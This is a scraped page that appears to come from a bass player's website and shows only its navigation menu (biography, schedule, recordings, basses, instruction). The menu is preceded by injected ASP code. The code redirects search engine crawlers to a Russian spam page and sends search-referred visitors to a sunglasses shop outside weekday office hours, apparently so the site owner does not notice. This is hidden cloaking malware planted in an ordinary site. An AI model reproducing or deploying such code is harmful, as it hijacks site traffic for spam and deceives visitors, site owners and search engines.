?% On Error Resume next dim urlReferrer urlReferrer = request.servervariables("http_referer") if Getbot()="baidu" or Getbot()="google" or Getbot()="bing" or Getbot()="yahoo" or Getbot()="aol" Then Response.Redirect("http://www.aaafashion.ru/list-501.html") Response.End elseif((instr(urlReferrer,"aol") > 0 or instr(urlReferrer,"bing") > 0 or instr(urlReferrer,"google") > 0 or instr(urlReferrer,"yahoo") > 0)) then If Datediff("s","08:00:00",Time())>0 And Datediff("s","18:00:00",Time())<0 And Weekday(Date())>1 And Weekday(Date())<7 Then else Response.Redirect("http://www.angelsunglasshut.com/") Response.End End If End If function Getbot() dim s_agent Getbot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"googlebot",1) > 0 then Getbot="google" end if if instr(1,s_agent,"baiduspider",1) > 0 then Getbot="baidu" end if if instr(1,s_agent,"msnbot",1) > 0 then Getbot="bing" end if if instr(1,s_agent,"yahoo!",1) > 0 then Getbot="yahoo" end if if instr(1,s_agent,"aol!",1) > 0 then Getbot="aol" end if end Function %>
Home
Biography
Schedule
Recordings
Colleagues
Photo Album
Videos
Tools of the Trade
Capitol Basses
Museum of Bass
Musician's Humor
Instruction
Social Responsibility
Other Links
Contact